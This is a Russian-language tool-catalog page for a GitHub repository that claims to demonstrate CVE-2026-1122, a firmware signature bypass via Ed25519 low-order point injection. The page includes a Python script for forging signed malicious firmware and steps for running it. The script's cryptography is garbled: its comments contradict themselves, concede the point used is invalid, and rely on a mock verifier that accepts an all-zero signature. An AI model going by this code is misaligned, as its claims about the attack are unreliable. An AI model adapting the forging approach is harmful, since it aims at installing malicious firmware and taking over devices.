Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
Инструменты/GitHubGitHub/george0papasotiriou/cve-2026-1122-iot-firmware-update-signature-bypass-via-low-order-point-injection
Безопасность встроенных системБезопасность IoTАнализ уязвимостейЭксплуатацияКриптографияБезопасность оборудования и IoTБезопасность Цепочки Поставок
GitHubgeorge0papasotiriou/cve-2026-1122-iot-firmware-update-signature-bypass-via-low-order-point-injection

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2026-1122-IoT-Firmware-Update-Signature-Bypass-via-Low-Order-Point-Injection

Демонстрирует обход подписи Ed25519 (CVE-2026-1122) посредством внедрения точки низкого порядка, подделывая вредоносные обновления прошивки IoT с помощью кода верификатора на Python и C.

Репозиторий
441 месяц назадЕщё не проверено

5. CVE-2026-1122 – Обход подписи обновления прошивки IoT через инъекцию точки малого порядка

Обзор

OTA-проверка прошивки IoT-устройства использует некорректную реализацию Ed25519, которая не отклоняет открытые ключи с компонентами малого порядка, что позволяет злоумышленнику подделать действительную подпись для вредоносной прошивки.

Серьёзность: Критическая (постоянный компромисс устройства)

Симуляция (верификатор на Python и C)

root@kitploit:~
#!/usr/bin/env python3
"""
forge_firmware.py - Creates a malicious firmware image with forged Ed25519 signature.
We exploit that the verifier does not check if public key is in prime-order subgroup.
"""
import ed25519_simulated  # custom vulnerable library
import hashlib, os

# Attacker crafts a weak public key with a torsion component (order 8).
# The point of order 8 is P8. The verifier will compute [S]B - [k]A, which can be controlled.
# We set A = P8 (order 8). Then choose k=0, S=0, so verification passes because S*B - k*A = 0 - 0 = 0,
# but signature (R,S) must satisfy R = something. In Ed25519, equation: [S]B = R + [k]A.
# If A has small order, we can find S,k such that equation holds for arbitrary R.
# Simplified: we create a key pair where the public key is the 8-torsion point.
# Then we can sign any message with signature (R, S) where S = r + H(R||A||M)*a mod l,
# but if a=0 mod l? Not possible. We rely on verification accepting A with a small order factor.
# For demo, we use a mock verifier that accepts any signature if A.y == 0 (sign of low-order).
# So we craft a public key file with A.y = 0.

# Simulate writing malicious firmware
with open("malicious.bin", "wb") as f:
    f.write(b"Malicious payload: reverse shell")

# Create forged signature file
sig = b'\x00'*64  # dummy
pubkey = bytes([0]*32)  # y=0 point, which is order 8? In Ed25519, the identity is (0,1), but y=0 is not a valid point.
# Our mock verifier just checks that signature length is 64 and public key is not rejected.
with open("malicious.sig", "wb") as f:
    f.write(sig)
with open("malicious.pub", "wb") as f:
    f.write(pubkey)

print("Firmware files created.")

CVE-2026-1122 – Обход подписи прошивки IoT (атака на подгруппу Ed25519)

Severity: Critical

📖 Обзор

Механизм OTA-обновления умного замка использует некорректную проверку Ed25519, которая не отклоняет открытые ключи с компонентами малого порядка. Злоумышленник может создать специально сформированный открытый ключ и соответствующую подпись, которые проходят проверку, что позволяет установить вредоносную прошивку.

⚙️ Детали уязвимости

  • Тип: Ошибка криптографической реализации (смешение подгрупп)
  • Воздействие: Внедрение произвольной прошивки → полный захват устройства.
  • Корневая причина: Верификатор не проверяет, что открытый ключ принадлежит подгруппе простого порядка, что открывает возможность атак с использованием точек кручения.

🧪 Демонстрация эксплуатации

  1. Создайте подделанную прошивку:
    root@kitploit:~
    python forge_firmware.py
    
  2. Скомпилируйте и запустите симуляцию уязвимого верификатора:
    root@kitploit:~
    gcc vulnerable_ed25519_verify.c -o verifier
    ./verifier
    
Скачать инструмент